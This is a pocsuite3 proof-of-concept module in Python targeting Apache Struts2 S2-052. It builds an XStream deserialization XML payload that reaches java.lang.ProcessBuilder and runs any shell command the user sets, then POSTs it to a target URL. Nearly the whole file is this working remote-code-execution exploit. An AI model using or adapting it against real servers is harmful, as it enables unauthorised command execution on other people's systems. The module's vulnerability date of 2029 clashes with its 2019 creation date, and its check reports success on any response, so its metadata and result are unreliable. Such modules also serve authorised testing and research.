import shlex
from collections import OrderedDict

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-052']
    name = 'Apache Struts2 s2-052'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数;'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('touch /var/tmp/123321', description="可执行的shell命令")
        return o

    def parse_cmd(self, cmd, type='string'):
        """命令解析，将要执行的命令解析为字符串格式"""
        cmd = shlex.split(cmd)
        if type == 'string':
            cmd_str = '"' + '","'.join(cmd) + '"'
        elif type == 'xml':
            cmd_str = '<string>' + '</string><string>'.join(cmd) + '</string>'
        else:
            cmd_str = cmd
        return cmd_str

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        headers = {
            "Content-Type": 'application/xml'
        }
        exec_payload = """<map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                    <is class="javax.crypto.CipherInputStream">
                      <cipher class="javax.crypto.NullCipher">
                        <initialized>false</initialized>
                        <opmode>0</opmode>
                        <serviceIterator class="javax.imageio.spi.FilterIterator">
                          <iter class="javax.imageio.spi.FilterIterator">
                            <iter class="java.util.Collections$EmptyIterator"/>
                            <next class="java.lang.ProcessBuilder">
                              <command>
                                {cmd}
                              </command>
                              <redirectErrorStream>false</redirectErrorStream>
                            </next>
                          </iter>
                          <filter class="javax.imageio.ImageIO$ContainsFilter">
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>foo</name>
                          </filter>
                          <next class="string">foo</next>
                        </serviceIterator>
                        <lock/>
                      </cipher>
                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
                      <ibuffer></ibuffer>
                      <done>false</done>
                      <ostart>0</ostart>
                      <ofinish>0</ofinish>
                      <closed>false</closed>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
          </entry>
          <entry>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          </entry>
        </map>"""
        cmd = self.get_option("command")
        cmd = self.parse_cmd(cmd, type='xml')
        data = exec_payload.format(cmd=cmd)
        html = requests.post(self.url, data=data, headers=headers).text
        if html:
            result["VerifyInfo"] = {
                "URL": self.url,
                "success": "success!"
            }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
